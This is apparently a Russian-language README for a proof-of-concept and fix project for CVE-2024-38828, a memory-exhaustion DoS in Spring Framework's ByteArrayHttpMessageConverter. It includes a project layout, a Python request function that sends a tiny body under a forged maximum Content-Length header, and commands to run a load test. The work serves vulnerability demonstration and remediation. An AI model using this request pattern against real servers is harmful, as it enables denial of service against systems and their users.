
PoC и исправление для CVE-2024-38828: DoS в Spring Framework через манипуляцию Content-Length в ByteArrayHttpMessageConverter. Включает нагрузочное тестирование, метрики и пользовательский безопасный конвертер.
Тест проверяет поведение/реакцию в Spring Framework при уязвимости CVE-2024-38828 и без нее.
В ByteArrayHttpMessageConverter аллоцируется память в ByteArrayOutputStream по заголовку запроса Content-Length
что может не соответсвовать реальности с телом в 0 байт. При резком росте таких запросов (DoS), память используется
неоптимально, появляются регулярные чистки GC и приложение начинает лагать. Покажу как это реализовать/исправить и метрики.

CVE-2024-38828 - это уязвимость типа Denial of Service (DoS) в Spring Framework, которая позволяет атакующему вызвать исчерпание памяти на сервере через контроллер Spring MVC с параметром типа byte[].
HttpMessageConverter для обработки массивов байтов.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── результаты_теста.png
│ └── метрики.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # Минимальный payload
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # Максимальный размер
}
)
return response.status_code, response.text
except Exception as e:
return f"Ошибка: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py